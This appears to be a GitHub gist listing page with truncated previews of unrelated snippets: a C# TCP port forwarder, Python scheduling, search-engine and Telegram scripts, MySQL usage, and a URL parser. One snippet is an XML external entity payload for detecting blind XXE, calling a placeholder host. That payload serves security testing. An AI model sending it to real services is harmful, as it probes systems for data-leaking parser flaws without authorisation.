This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Net; | |
using System.Net.Sockets; | |
namespace BrunoGarcia.Net | |
{ | |
public class TcpForwarderSlim | |
{ | |
private readonly Socket _mainSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
static void Main(string[] args) | |
{ | |
new TcpForwarderSlim().Start( | |
new IPEndPoint(IPAddress.Parse(args[0]), int.Parse(args[1])), | |
new IPEndPoint(IPAddress.Parse(args[2]), int.Parse(args[3]))); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from apscheduler.jobstores.base import JobLookupError | |
from apscheduler.schedulers.background import BackgroundScheduler | |
import time | |
class Scheduler(object): | |
# 클래스 생성시 스케쥴러 데몬을 생성합니다. | |
def __init__(self): | |
self.sched = BackgroundScheduler() | |
self.sched.start() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Get the first 20 hits for: "Breaking Code" WordPress blog | |
from google import search | |
for url in search('"Breaking Code" WordPress blog', stop=20): | |
print(url) | |
# Get the first 20 hits for "Mariposa botnet" in Google Spain | |
for url in search('Mariposa botnet', tld='es', lang='es', stop=20): | |
print(url) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-------------------------------------------------------------- | |
Vanilla, used to verify outbound xxe or blind xxe | |
-------------------------------------------------------------- | |
<?xml version="1.0" ?> | |
<!DOCTYPE r [ | |
<!ELEMENT r ANY > | |
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
]> | |
<r>&sp;</r> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#-*- coding: utf-8 -*- | |
import urllib | |
import urllib2 | |
from utils.config import ConfigParser | |
def send_msg(chat_id, text, reply_to=None, no_preview=True, keyboard=None): | |
u"""send_msg: 메시지 발송 | |
chat_id: (integer) 메시지를 보낼 채팅 ID | |
text: (string) 메시지 내용 | |
reply_to: (integer) ~메시지에 대한 답장 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pymysql | |
# MySQL Connection 연결 | |
conn = pymysql.connect(host='localhost', user='tester', password='', | |
db='testdb', charset='utf8') | |
# Connection 으로부터 Cursor 생성 | |
curs = conn.cursor() | |
# SQL문 실행 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
techcontents | |
title | |
site | |
url | |
platform | |
siteRating | |
pageRating | |
state |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import re | |
def ExtractDomain(fullUrl): | |
domainRegex = re.compile("(http[s]?|ftp):\/\/([a-z0-9-]+\.)+[a-z0-9]{2,4}") | |
extractDomain = domainRegex.search(fullUrl) | |
print extractDomain.group() | |
return extractDomain.group() | |
def favicon(domain): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from py_bing_search import PyBingWebSearch | |
search_term = "Python Software Foundation" | |
bing_web = PyBingWebSearch('Your-Api-Key-Here', search_term, web_only=False) # web_only is optional, but should be true to use your web only quota instead of your all purpose quota | |
first_fifty_result= bing_web.search(limit=50, format='json') #1-50 | |
second_fifty_result= bing_web.search(limit=50, format='json') #51-100 | |
print (second_fifty_result[0].description) | |
u'Python Software Foundation Home Page. The mission of the Python Software Foundation is to promote, protect, and advance the Python programming language, and to ...' | |
''' |
OlderNewer